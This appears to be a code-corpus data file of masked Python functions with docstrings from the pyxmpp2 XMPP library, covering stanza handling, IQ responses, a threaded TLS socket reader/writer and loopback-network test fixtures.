{"signature": "def process_message(self, stanza):", "body": "stanza_type = stanza.stanza_type<EOL>if stanza_type is None:<EOL><INDENT>stanza_type = \"<STR_LIT>\"<EOL><DEDENT>if self.__try_handlers(self._message_handlers, stanza,<EOL>stanza_type = stanza_type):<EOL><INDENT>return True<EOL><DEDENT>if stanza_type not in (\"<STR_LIT:error>\", \"<STR_LIT>\"):<EOL><INDENT>return self.__try_handlers(self._message_handlers, stanza,<EOL>stanza_type = \"<STR_LIT>\")<EOL><DEDENT>return False<EOL>", "docstring": "Process message stanza.\n\n        Pass it to a handler of the stanza's type and payload namespace.\n        If no handler for the actual stanza type succeeds then hadlers\n        for type \"normal\" are used.\n\n        :Parameters:\n            - `stanza`: message stanza to be handled", "id": "f15277:c0:m6"}
{"signature": "def process_presence(self, stanza):", "body": "stanza_type = stanza.stanza_type<EOL>return self.__try_handlers(self._presence_handlers, stanza, stanza_type)<EOL>", "docstring": "Process presence stanza.\n\n        Pass it to a handler of the stanza's type and payload namespace.\n\n        :Parameters:\n            - `stanza`: presence stanza to be handled", "id": "f15277:c0:m7"}
{"signature": "def route_stanza(self, stanza):", "body": "if stanza.stanza_type not in (\"<STR_LIT:error>\", \"<STR_LIT:result>\"):<EOL><INDENT>response = stanza.make_error_response(\"<STR_LIT>\")<EOL>self.send(response)<EOL><DEDENT>return True<EOL>", "docstring": "Process stanza not addressed to us.\n\n        Return \"recipient-unavailable\" return if it is not\n        \"error\" nor \"result\" stanza.\n\n        This method should be overriden in derived classes if they\n        are supposed to handle stanzas not addressed directly to local\n        stream endpoint.\n\n        :Parameters:\n            - `stanza`: presence stanza to be processed", "id": "f15277:c0:m8"}
{"signature": "def process_stanza(self, stanza):", "body": "self.fix_in_stanza(stanza)<EOL>to_jid = stanza.to_jid<EOL>if not self.process_all_stanzas and to_jid and (<EOL>to_jid != self.me and to_jid.bare() != self.me.bare()):<EOL><INDENT>return self.route_stanza(stanza)<EOL><DEDENT>try:<EOL><INDENT>if isinstance(stanza, Iq):<EOL><INDENT>if self.process_iq(stanza):<EOL><INDENT>return True<EOL><DEDENT><DEDENT>elif isinstance(stanza, Message):<EOL><INDENT>if self.process_message(stanza):<EOL><INDENT>return True<EOL><DEDENT><DEDENT>elif isinstance(stanza, Presence):<EOL><INDENT>if self.process_presence(stanza):<EOL><INDENT>return True<EOL><DEDENT><DEDENT><DEDENT>except ProtocolError as err:<EOL><INDENT>typ = stanza.stanza_type<EOL>if typ != '<STR_LIT:error>' and (typ != '<STR_LIT:result>'<EOL>or stanza.stanza_type != '<STR_LIT>'):<EOL><INDENT>response = stanza.make_error_response(err.xmpp_name)<EOL>self.send(response)<EOL>err.log_reported()<EOL><DEDENT>else:<EOL><INDENT>err.log_ignored()<EOL><DEDENT>return<EOL><DEDENT>logger.debug(\"<STR_LIT>\" % (stanza.stanza_type,<EOL>stanza.serialize()))<EOL>return False<EOL>", "docstring": "Process stanza received from the stream.\n\n        First \"fix\" the stanza with `self.fix_in_stanza()`,\n        then pass it to `self.route_stanza()` if it is not directed\n        to `self.me` and `self.process_all_stanzas` is not True. Otherwise\n        stanza is passwd to `self.process_iq()`, `self.process_message()`\n        or `self.process_presence()` appropriately.\n\n        :Parameters:\n            - `stanza`: the stanza received.\n\n        :returns: `True` when stanza was handled", "id": "f15277:c0:m9"}
{"signature": "def check_to(self, to_jid):", "body": "if to_jid != self.me:<EOL><INDENT>return None<EOL><DEDENT>return to_jid<EOL>", "docstring": "Check \"to\" attribute of received stream header.\n\n        :return: `to_jid` if it is equal to `self.me`, None otherwise.\n\n        Should be overriden in derived classes which require other logic\n        for handling that attribute.", "id": "f15277:c0:m10"}
{"signature": "def set_response_handlers(self, stanza, res_handler, err_handler,<EOL>timeout_handler = None, timeout = None):", "body": "<EOL>self.lock.acquire()<EOL>try:<EOL><INDENT>self._set_response_handlers(stanza, res_handler, err_handler,<EOL>timeout_handler, timeout)<EOL><DEDENT>finally:<EOL><INDENT>self.lock.release()<EOL><DEDENT>", "docstring": "Set response handler for an IQ \"get\" or \"set\" stanza.\n\n        This should be called before the stanza is sent.\n\n        :Parameters:\n            - `stanza`: an IQ stanza\n            - `res_handler`: result handler for the stanza. Will be called\n              when matching <iq type=\"result\"/> is received. Its only\n              argument will be the stanza received. The handler may return\n              a stanza or list of stanzas which should be sent in response.\n            - `err_handler`: error handler for the stanza. Will be called\n              when matching <iq type=\"error\"/> is received. Its only\n              argument will be the stanza received. The handler may return\n              a stanza or list of stanzas which should be sent in response\n              but this feature should rather not be used (it is better not to\n              respond to 'error' stanzas).\n            - `timeout_handler`: timeout handler for the stanza. Will be called\n              (with no arguments) when no matching <iq type=\"result\"/> or <iq\n              type=\"error\"/> is received in next `timeout` seconds.\n            - `timeout`: timeout value for the stanza. After that time if no\n              matching <iq type=\"result\"/> nor <iq type=\"error\"/> stanza is\n              received, then timeout_handler (if given) will be called.", "id": "f15277:c0:m11"}
{"signature": "def _set_response_handlers(self, stanza, res_handler, err_handler,<EOL>timeout_handler = None, timeout = None):", "body": "<EOL>self.fix_out_stanza(stanza)<EOL>to_jid = stanza.to_jid<EOL>if to_jid:<EOL><INDENT>to_jid = str(to_jid)<EOL><DEDENT>if timeout_handler:<EOL><INDENT>def callback(dummy1, dummy2):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>timeout_handler()<EOL><DEDENT>self._iq_response_handlers.set_item(<EOL>(stanza.stanza_id, to_jid),<EOL>(res_handler,err_handler),<EOL>timeout, callback)<EOL><DEDENT>else:<EOL><INDENT>self._iq_response_handlers.set_item(<EOL>(stanza.stanza_id, to_jid),<EOL>(res_handler, err_handler),<EOL>timeout)<EOL><DEDENT>", "docstring": "Same as `set_response_handlers` but assume `self.lock` is\n        acquired.", "id": "f15277:c0:m12"}
{"signature": "def clear_response_handlers(self):", "body": "self._iq_response_handlers.clear()<EOL>", "docstring": "Remove all registered response handlers.", "id": "f15277:c0:m13"}
{"signature": "def setup_stanza_handlers(self, handler_objects, usage_restriction):", "body": "<EOL>iq_handlers = {\"<STR_LIT>\": {}, \"<STR_LIT>\": {}}<EOL>message_handlers = []<EOL>presence_handlers = []<EOL>for obj in handler_objects:<EOL><INDENT>if not isinstance(obj, XMPPFeatureHandler):<EOL><INDENT>continue<EOL><DEDENT>obj.stanza_processor = self<EOL>for dummy, handler in inspect.getmembers(obj, callable):<EOL><INDENT>if not hasattr(handler, \"<STR_LIT>\"):<EOL><INDENT>continue<EOL><DEDENT>element_name, stanza_type = handler._pyxmpp_stanza_handled<EOL>restr = handler._pyxmpp_usage_restriction<EOL>if restr and restr != usage_restriction:<EOL><INDENT>continue<EOL><DEDENT>if element_name == \"<STR_LIT>\":<EOL><INDENT>payload_class = handler._pyxmpp_payload_class_handled<EOL>payload_key = handler._pyxmpp_payload_key<EOL>if (payload_class, payload_key) in iq_handlers[stanza_type]:<EOL><INDENT>continue<EOL><DEDENT>iq_handlers[stanza_type][(payload_class, payload_key)] =handler<EOL>continue<EOL><DEDENT>elif element_name == \"<STR_LIT:message>\":<EOL><INDENT>handler_list = message_handlers<EOL><DEDENT>elif element_name == \"<STR_LIT>\":<EOL><INDENT>handler_list = presence_handlers<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>handler_list.append(handler)<EOL><DEDENT><DEDENT>with self.lock:<EOL><INDENT>self._iq_handlers = iq_handlers<EOL>self._presence_handlers = presence_handlers<EOL>self._message_handlers = message_handlers<EOL><DEDENT>", "docstring": "Install stanza handlers provided by `handler_objects`", "id": "f15277:c0:m14"}
{"signature": "def fix_in_stanza(self, stanza):", "body": "pass<EOL>", "docstring": "Modify incoming stanza before processing it.\n\n        This implementation does nothig. It should be overriden in derived\n        classes if needed.", "id": "f15277:c0:m15"}
{"signature": "def fix_out_stanza(self, stanza):", "body": "pass<EOL>", "docstring": "Modify outgoing stanza before sending into the stream.\n\n        This implementation does nothig. It should be overriden in derived\n        classes if needed.", "id": "f15277:c0:m16"}
{"signature": "def send(self, stanza):", "body": "if self.uplink:<EOL><INDENT>self.uplink.send(stanza)<EOL><DEDENT>else:<EOL><INDENT>raise NoRouteError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Send a stanza somwhere.\n\n        The default implementation sends it via the `uplink` if it is defined\n        or raises the `NoRouteError`.\n\n        :Parameters:\n            - `stanza`: the stanza to send.\n        :Types:\n            - `stanza`: `pyxmpp.stanza.Stanza`", "id": "f15277:c0:m18"}
{"signature": "def __init__(self, element = None, from_jid = None, to_jid = None,<EOL>stanza_type = None, stanza_id = None,<EOL>error = None, error_cond=None, return_path = None,<EOL>language = None):", "body": "<EOL>if stanza_type is None:<EOL><INDENT>if element is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>elif stanza_type not in IQ_TYPES:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if element is None and stanza_id is None and stanza_type in (<EOL>\"<STR_LIT>\", \"<STR_LIT>\"):<EOL><INDENT>stanza_id = self.gen_id()<EOL><DEDENT>if element is None:<EOL><INDENT>element = \"<STR_LIT>\"<EOL><DEDENT>elif not isinstance(element, ElementClass):<EOL><INDENT>raise TypeError(\"<STR_LIT>\" + repr(element))<EOL><DEDENT>Stanza.__init__(self, element, from_jid = from_jid, to_jid = to_jid,<EOL>stanza_type = stanza_type, stanza_id = stanza_id,<EOL>error = error, error_cond = error_cond,<EOL>return_path = return_path, language = language)<EOL>if self.element_name != \"<STR_LIT>\":<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Initialize an `Iq` object.\n\n        :Parameters:\n            - `element`: XML element of this stanza.\n            - `from_jid`: sender JID.\n            - `to_jid`: recipient JID.\n            - `stanza_type`: staza type: one of: \"get\", \"set\", \"response\"\n              or \"error\".\n            - `stanza_id`: stanza id -- value of stanza's \"id\" attribute. If\n              not given, then unique for the session value is generated.\n            - `error_cond`: error condition name. Ignored if `stanza_type`\n              is not \"error\".\n            - `language`: default language for the stanza content\n        :Types:\n            - `element`: :etree:`ElementTree.Element`\n            - `from_jid`: `JID`\n            - `to_jid`: `JID`\n            - `stanza_type`: `unicode`\n            - `stanza_id`: `unicode`\n            - `error`: `pyxmpp.error.StanzaErrorElement`\n            - `error_cond`: `unicode`\n            - `language`: `unicode`", "id": "f15278:c0:m0"}
{"signature": "def copy(self):", "body": "result = Iq(None, self.from_jid, self.to_jid,<EOL>self.stanza_type, self.stanza_id, self.error,<EOL>self._return_path())<EOL>if self._payload is None:<EOL><INDENT>self.decode_payload()<EOL><DEDENT>for payload in self._payload:<EOL><INDENT>Stanza.add_payload(result, payload)<EOL><DEDENT>return result<EOL>", "docstring": "Create a deep copy of the stanza.\n\n        :returntype: `Iq`", "id": "f15278:c0:m1"}
{"signature": "def make_error_response(self, cond):", "body": "if self.stanza_type in (\"<STR_LIT:result>\", \"<STR_LIT:error>\"):<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>stanza = Iq(stanza_type=\"<STR_LIT:error>\", from_jid = self.to_jid,<EOL>to_jid = self.from_jid, stanza_id = self.stanza_id,<EOL>error_cond = cond)<EOL>if self._payload is None:<EOL><INDENT>self.decode_payload()<EOL><DEDENT>for payload in self._payload:<EOL><INDENT>Stanza.add_payload(stanza, payload)<EOL><DEDENT>return stanza<EOL>", "docstring": "Create error response for the a \"get\" or \"set\" iq stanza.\n\n        :Parameters:\n            - `cond`: error condition name, as defined in XMPP specification.\n\n        :return: new `Iq` object with the same \"id\" as self, \"from\" and \"to\"\n            attributes swapped, type=\"error\" and containing <error /> element\n            plus payload of `self`.\n        :returntype: `Iq`", "id": "f15278:c0:m2"}
{"signature": "def make_result_response(self):", "body": "if self.stanza_type not in (\"<STR_LIT>\", \"<STR_LIT>\"):<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>stanza = Iq(stanza_type = \"<STR_LIT:result>\", from_jid = self.to_jid,<EOL>to_jid = self.from_jid, stanza_id = self.stanza_id)<EOL>return stanza<EOL>", "docstring": "Create result response for the a \"get\" or \"set\" iq stanza.\n\n        :return: new `Iq` object with the same \"id\" as self, \"from\" and \"to\"\n            attributes replaced and type=\"result\".\n        :returntype: `Iq`", "id": "f15278:c0:m3"}
{"signature": "def add_payload(self, payload):", "body": "if self._payload is None:<EOL><INDENT>self.decode_payload()<EOL><DEDENT>if len(self._payload) >= <NUM_LIT:1>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>return Stanza.add_payload(self, payload)<EOL>", "docstring": "Add new the stanza payload. Fails if there is already some\n        payload element attached (<iq/> stanza can contain only one payload\n        element)\n\n        Marks the stanza dirty.\n\n        :Parameters:\n            - `payload`: XML element or stanza payload object to add\n        :Types:\n            - `payload`: :etree:`ElementTree.Element` or\n              `interfaces.StanzaPayload`", "id": "f15278:c0:m4"}
{"signature": "def start(self):", "body": "reader_thread = threading.Thread(target = self.reader_run,<EOL>name = \"<STR_LIT>\")<EOL>reader_thread.daemon = True<EOL>writter_thread = threading.Thread(target = self.writter_run,<EOL>name = \"<STR_LIT>\")<EOL>writter_thread.daemon = True<EOL>reader_thread.start()<EOL>writter_thread.start()<EOL>", "docstring": "Start the reader and writter threads.", "id": "f15283:c0:m1"}
{"signature": "def _do_tls_handshake(self):", "body": "logger.debug(\"<STR_LIT>\")<EOL>while True:<EOL><INDENT>try:<EOL><INDENT>self.sock.do_handshake()<EOL>break<EOL><DEDENT>except ssl.SSLError as err:<EOL><INDENT>if err.args[<NUM_LIT:0>] == ssl.SSL_ERROR_WANT_READ:<EOL><INDENT>select.select([self.sock], [], [])<EOL><DEDENT>elif err.args[<NUM_LIT:0>] == ssl.SSL_ERROR_WANT_WRITE:<EOL><INDENT>select.select([], [self.sock], [])<EOL><DEDENT>else:<EOL><INDENT>raise<EOL><DEDENT><DEDENT><DEDENT>logger.debug(\"<STR_LIT>\")<EOL>self.extra_on_read = None<EOL>self.write_enabled = True<EOL>self.write_cond.notify()<EOL>", "docstring": "Do the TLS handshake. Called from the reader thread\n        after `starttls` is called.", "id": "f15283:c0:m2"}
{"signature": "def starttls(self, *args, **kwargs):", "body": "kwargs['<STR_LIT>'] = False<EOL>with self.lock:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>while self.wdata:<EOL><INDENT>self.write_cond.wait()<EOL><DEDENT>self.write_enabled = False<EOL>self.write_cond.notify()<EOL>logger.debug(\"<STR_LIT>\")<EOL>self.sock = ssl.wrap_socket(*args, **kwargs)<EOL>self.extra_on_read = self._do_tls_handshake<EOL>self.rdata = b\"<STR_LIT>\"<EOL><DEDENT>", "docstring": "Request switching to TLS.\n\n        First waits untill all currently buffered data is sent.\n\n        :Parameters:\n            - `args`: positional arguments to :std:`ssl.wrap_socket`\n            - `kwargs`: keyword arguments to :std:`ssl.wrap_socket`", "id": "f15283:c0:m3"}
{"signature": "def writter_run(self):", "body": "with self.write_cond:<EOL><INDENT>while self.sock is not None:<EOL><INDENT>while self.ready and self.wdata and self.write_enabled:<EOL><INDENT>sent = self.sock.send(self.wdata)<EOL>logger.debug(\"<STR_LIT>\" + repr(self.wdata[:sent]))<EOL>self.wdata = self.wdata[sent:]<EOL>self.write_cond.notify()<EOL><DEDENT>if self._disconnect and not self.wdata:<EOL><INDENT>self.sock.shutdown(socket.SHUT_WR)<EOL>logger.debug(\"<STR_LIT>\")<EOL>break<EOL><DEDENT>self.write_cond.wait()<EOL><DEDENT><DEDENT>", "docstring": "The writter thread function.", "id": "f15283:c0:m4"}
{"signature": "def reader_run(self):", "body": "WSAEBADF = getattr(errno, \"<STR_LIT>\", None)<EOL>with self.lock:<EOL><INDENT>if not self.sock or self.eof:<EOL><INDENT>return<EOL><DEDENT>while not self.eof and self.sock is not None:<EOL><INDENT>self.lock.release()<EOL>try:<EOL><INDENT>ret = infd, _outfd, _errfd = select.select([self.sock], [],<EOL>[], <NUM_LIT:5>)<EOL><DEDENT>except select.error as err:<EOL><INDENT>if WSAEBADF and err == WSAEBADF:<EOL><INDENT>self.sock = None<EOL>break<EOL><DEDENT>raise<EOL><DEDENT>finally:<EOL><INDENT>self.lock.acquire()<EOL><DEDENT>if not self.sock:<EOL><INDENT>break<EOL><DEDENT>if infd:<EOL><INDENT>if self.extra_on_read:<EOL><INDENT>self.extra_on_read()<EOL><DEDENT>elif self.ready:<EOL><INDENT>data = self.sock.recv(<NUM_LIT>)<EOL>if not data:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>self.eof = True<EOL>self.eof_cond.notifyAll()<EOL><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\" + repr(data))<EOL>self.rdata += data<EOL><DEDENT><DEDENT>else:<EOL><INDENT>sock1, self.peer = self.sock.accept()<EOL>logger.debug(\"<STR_LIT>\" + repr(self.peer))<EOL>self.sock.close()<EOL>self.sock = sock1<EOL>self.ready = True<EOL>self.write_cond.notify()<EOL><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "The reader thread function.", "id": "f15283:c0:m5"}
{"signature": "def write(self, data):", "body": "with self.write_cond:<EOL><INDENT>self.wdata += data<EOL>if self.ready:<EOL><INDENT>self.write_cond.notify()<EOL><DEDENT><DEDENT>", "docstring": "Queue data for write.", "id": "f15283:c0:m6"}
{"signature": "def disconnect(self):", "body": "with self.write_cond:<EOL><INDENT>self._disconnect = True<EOL>self.write_cond.notify()<EOL><DEDENT>", "docstring": "Request disconnection.", "id": "f15283:c0:m7"}
{"signature": "def read(self):", "body": "with self.lock:<EOL><INDENT>data, self.rdata = self.rdata, \"<STR_LIT>\"<EOL><DEDENT>return data<EOL>", "docstring": "Read data from input buffer (received by the reader thread).", "id": "f15283:c0:m8"}
{"signature": "def close(self):", "body": "with self.lock:<EOL><INDENT>if self.sock is not None:<EOL><INDENT>self.sock.close()<EOL><DEDENT>self.sock = None<EOL>self.wdata = None<EOL>self.write_cond.notify()<EOL>self.eof_cond.wait(<NUM_LIT:0.1>)<EOL><DEDENT>", "docstring": "Close the socket and request the threads to stop.", "id": "f15283:c0:m9"}
{"signature": "def wait(self, timeout):", "body": "with self.eof_cond:<EOL><INDENT>if not self.eof:<EOL><INDENT>self.eof_cond.wait(timeout)<EOL><DEDENT><DEDENT>", "docstring": "Wait for socket closing, an error or `timeout` seconds.", "id": "f15283:c0:m10"}
{"signature": "@classmethod<EOL><INDENT>def setUpClass(cls):<DEDENT>", "body": "if \"<STR_LIT>\" not in _support.RESOURCES:<EOL><INDENT>raise unittest.SkipTest(\"<STR_LIT>\")<EOL><DEDENT>try:<EOL><INDENT>sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<EOL>sock.close()<EOL>cls.can_do_ipv4 = True<EOL><DEDENT>except socket.error as err:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(err))<EOL>pass<EOL><DEDENT>if socket.has_ipv6:<EOL><INDENT>try:<EOL><INDENT>sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)<EOL>sock.close()<EOL>cls.can_do_ipv6 = True<EOL><DEDENT>except socket.error as err:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(err))<EOL>pass<EOL><DEDENT><DEDENT>", "docstring": "Check if loopback networking is enabled and IPv4 and IPv6 sockets\n        available.", "id": "f15283:c1:m0"}
{"signature": "def setUp(self):", "body": "self.server = None<EOL>self.client = None<EOL>XMPPSettings._defs['<STR_LIT>'].default = None<EOL>", "docstring": "Initialize class instance for a new test.", "id": "f15283:c1:m1"}
{"signature": "def tearDown(self):", "body": "if self.server:<EOL><INDENT>self.server.close()<EOL><DEDENT>if self.client:<EOL><INDENT>self.client.close()<EOL><DEDENT>XMPPSettings._defs['<STR_LIT>'].default = None<EOL>", "docstring": "Stop the server and client connections started.", "id": "f15283:c1:m2"}
{"signature": "def start_server(self, ip_version = <NUM_LIT:4>):", "body": "sock = self.make_listening_socket(ip_version)<EOL>self.server = NetReaderWritter(sock, need_accept = True)<EOL>self.server.start()<EOL>return sock.getsockname()<EOL>", "docstring": "Create the `server` object, start its thread and return\n        assigned socket address (IP address, port).", "id": "f15283:c1:m3"}
{"signature": "def make_listening_socket(self, ip_version = <NUM_LIT:4>):", "body": "if ip_version == <NUM_LIT:4>:<EOL><INDENT>if not self.can_do_ipv4:<EOL><INDENT>self.skipTest(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>family = socket.AF_INET<EOL>addr = \"<STR_LIT:127.0.0.1>\"<EOL><DEDENT>elif ip_version == <NUM_LIT:6>:<EOL><INDENT>if not self.can_do_ipv6:<EOL><INDENT>self.skipTest(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>family = socket.AF_INET6<EOL>addr = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>sock = socket.socket(family, socket.SOCK_STREAM)<EOL>sock.bind((addr, <NUM_LIT:0>))<EOL>sock.listen(<NUM_LIT:1>)<EOL>return sock<EOL>", "docstring": "Create a listening socket on a random (OS-assigned) port\n        on the loopback interface.", "id": "f15283:c1:m4"}
{"signature": "def start_client(self, sockaddr, ip_version = <NUM_LIT:4>):", "body": "if ip_version == <NUM_LIT:4>:<EOL><INDENT>if not self.can_do_ipv4:<EOL><INDENT>self.skipTest(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>family = socket.AF_INET<EOL><DEDENT>elif ip_version == <NUM_LIT:6>:<EOL><INDENT>if not self.can_do_ipv6:<EOL><INDENT>self.skipTest(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>family = socket.AF_INET6<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>sock = socket.socket(family, socket.SOCK_STREAM)<EOL>sock.connect(sockaddr)<EOL>self.client = NetReaderWritter(sock)<EOL>self.client.start()<EOL>return sock.getsockname()<EOL>", "docstring": "Create the `client` object, starts its threads anc\n        connect it to the provided `sockaddr`.\n\n        :Return: its socket address", "id": "f15283:c1:m5"}
{"signature": "def start_transport(self, handlers):", "body": "self.transport = TCPTransport()<EOL>self.make_loop(handlers + [self.transport])<EOL>", "docstring": "Initialize a transport and a main loop with the provided handlers", "id": "f15283:c2:m1"}
{"signature": "def connect_transport(self):", "body": "addr, port = self.start_server()<EOL>self.transport.connect(addr, port)<EOL>", "docstring": "Start a test server and connect the transport to it.", "id": "f15283:c2:m2"}
{"signature": "def make_loop(self, handlers):", "body": "self.loop = SelectMainLoop(None, handlers)<EOL>", "docstring": "Return a main loop object for use with this test suite.", "id": "f15283:c2:m3"}
{"signature": "def wait(self, timeout = TIMEOUT, expect = None):", "body": "timeout = time.time() + timeout<EOL>while not self.loop.finished:<EOL><INDENT>self.loop.loop_iteration(<NUM_LIT:0.1>)<EOL>if expect:<EOL><INDENT>match = expect.match(self.server.rdata)<EOL>if match:<EOL><INDENT>return match.group(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>if time.time() > timeout:<EOL><INDENT>break<EOL><DEDENT><DEDENT>", "docstring": "Wait until the main loop finishes, `timeout` seconds passes\n        or current server input matches `expect`.", "id": "f15283:c2:m5"}
{"signature": "def wait_short(self, timeout = <NUM_LIT:0.1>):", "body": "self.loop.loop_iteration(timeout)<EOL>", "docstring": "Run a single main loop iteration.", "id": "f15283:c2:m6"}
{"signature": "def make_loop(self, handlers):", "body": "<EOL>self.loop = PollMainLoop(None, handlers)<EOL>", "docstring": "Return a main loop object for use with this test suite.", "id": "f15283:c3:m0"}
{"signature": "def make_loop(self, handlers):", "body": "<EOL>from pyxmpp2.mainloop.glib import GLibMainLoop<EOL>self.loop = GLibMainLoop(None, handlers)<EOL>", "docstring": "Return a main loop object for use with this test suite.", "id": "f15283:c4:m0"}
{"signature": "def make_loop(self, handlers):", "body": "<EOL>self.loop = ThreadPool(XMPPSettings({\"<STR_LIT>\": <NUM_LIT:0.1>}), handlers)<EOL>", "docstring": "Return a main loop object for use with this test suite.", "id": "f15283:c5:m0"}
{"signature": "def connect_transport(self):", "body": "InitiatorSelectTestCase.connect_transport(self)<EOL>self.loop.start()<EOL>", "docstring": "Start a test server and connect the transport to it.", "id": "f15283:c5:m1"}
{"signature": "def tearDown(self):", "body": "if self.loop:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>try:<EOL><INDENT>self.loop.stop(True, <NUM_LIT:2>)<EOL><DEDENT>except Exception: <EOL><INDENT>logger.exception(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL><DEDENT>self.loop.event_dispatcher.flush(False)<EOL><DEDENT>super(InitiatorThreadedTestMixIn, self).tearDown()<EOL>", "docstring": "Tear down the test case object.", "id": "f15283:c5:m2"}
{"signature": "def start_transport(self, handlers):", "body": "sock = self.make_listening_socket()<EOL>self.addr = sock.getsockname()<EOL>self.start_client(self.addr)<EOL>self.transport = TCPTransport(sock = sock.accept()[<NUM_LIT:0>])<EOL>sock.close()<EOL>self.make_loop(handlers + [self.transport])<EOL>", "docstring": "Create a listening socket for the tested stream,\n        a transport a main loop and create a client connectiong to the\n        socket.", "id": "f15283:c6:m1"}
{"signature": "def make_loop(self, handlers):", "body": "self.loop = SelectMainLoop(None, handlers)<EOL>", "docstring": "Create the main loop object.", "id": "f15283:c6:m2"}
{"signature": "def wait(self, timeout = TIMEOUT, expect = None):", "body": "timeout = time.time() + timeout<EOL>while not self.loop.finished:<EOL><INDENT>self.loop.loop_iteration(<NUM_LIT:0.1>)<EOL>if expect:<EOL><INDENT>match = expect.match(self.client.rdata)<EOL>if match:<EOL><INDENT>return match.group(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>if time.time() > timeout:<EOL><INDENT>break<EOL><DEDENT><DEDENT>", "docstring": "Wait until the main loop finishes, `timeout` seconds passes\n        or current server input matches `expect`.", "id": "f15283:c6:m3"}
{"signature": "def wait_short(self, timeout = <NUM_LIT:0.1>):", "body": "self.loop.loop_iteration(timeout)<EOL>", "docstring": "Run a single main loop iteration.", "id": "f15283:c6:m4"}
{"signature": "def make_loop(self, handlers):", "body": "<EOL>self.loop = PollMainLoop(None, handlers)<EOL>", "docstring": "Return a main loop object for use with this test suite.", "id": "f15283:c7:m0"}
{"signature": "def make_loop(self, handlers):", "body": "<EOL>from pyxmpp2.mainloop.glib import GLibMainLoop<EOL>self.loop = GLibMainLoop(None, handlers)<EOL>", "docstring": "Return a main loop object for use with this test suite.", "id": "f15283:c8:m0"}
{"signature": "def make_loop(self, handlers):", "body": "<EOL>self.loop = ThreadPool(XMPPSettings({\"<STR_LIT>\": <NUM_LIT:0.1>}), handlers)<EOL>", "docstring": "Return a main loop object for use with this test suite.", "id": "f15283:c9:m0"}
{"signature": "def start_transport(self, handlers):", "body": "super(ReceiverThreadedTestMixIn, self).start_transport(handlers)<EOL>self.loop.start()<EOL>", "docstring": "Create a listening socket for the tested stream,\n        a transport a main loop and create a client connectiong to the\n        socket.", "id": "f15283:c9:m1"}
{"signature": "def tearDown(self):", "body": "if self.loop:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>try:<EOL><INDENT>self.loop.stop(True, <NUM_LIT:2>)<EOL><DEDENT>except Exception: <EOL><INDENT>logger.exception(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL><DEDENT>self.loop.event_dispatcher.flush(False)<EOL><DEDENT>super(ReceiverThreadedTestMixIn, self).tearDown()<EOL>", "docstring": "Tear down the test case object.", "id": "f15283:c9:m2"}
{"signature": "@event_handler()<EOL><INDENT>def handle_event(self, event):<DEDENT>", "body": "self.events_received.append(event)<EOL>return False<EOL>", "docstring": "Handle any event: store it in `events_received`.", "id": "f15283:c10:m1"}
{"signature": "@event_handler(DisconnectedEvent)<EOL><INDENT>def handle_disconnected_event(self, event):<DEDENT>", "body": "<EOL>event.stream.event(QUIT)<EOL>", "docstring": "Handle the `DisconnectedEvent`: abort the main loop.", "id": "f15283:c10:m2"}
{"signature": "def setup_logging():", "body": "<EOL>global logging_ready<EOL>if logging_ready:<EOL><INDENT>return<EOL><DEDENT>if sys.argv.count(\"<STR_LIT>\") > <NUM_LIT:2>:<EOL><INDENT>logging.basicConfig(level=logging.DEBUG)<EOL><DEDENT>elif sys.argv.count(\"<STR_LIT>\") == <NUM_LIT:2>:<EOL><INDENT>logging.basicConfig(level=logging.INFO)<EOL><DEDENT>else:<EOL><INDENT>logging.basicConfig(level=logging.ERROR)<EOL><DEDENT>logging_ready = True<EOL>", "docstring": "Set up logging for the tests.\n\n    Log level used depends on number of '-v' in sys.argv", "id": "f15295:m0"}
{"signature": "def discover():", "body": "suite = unittest.TestSuite()<EOL>for mod in unittest.defaultTestLoader.discover(\"<STR_LIT>\", \"<STR_LIT>\"):<EOL><INDENT>suite.addTest(mod)<EOL><DEDENT>return suite<EOL>", "docstring": "Discover all the test suites in pyxmpp2.test.", "id": "f15296:m0"}
{"signature": "@staticmethod<EOL><INDENT>def make_loop(handlers):<DEDENT>", "body": "return SelectMainLoop(None, handlers)<EOL>", "docstring": "Return a main loop object for use with this test suite.", "id": "f15298:c0:m1"}
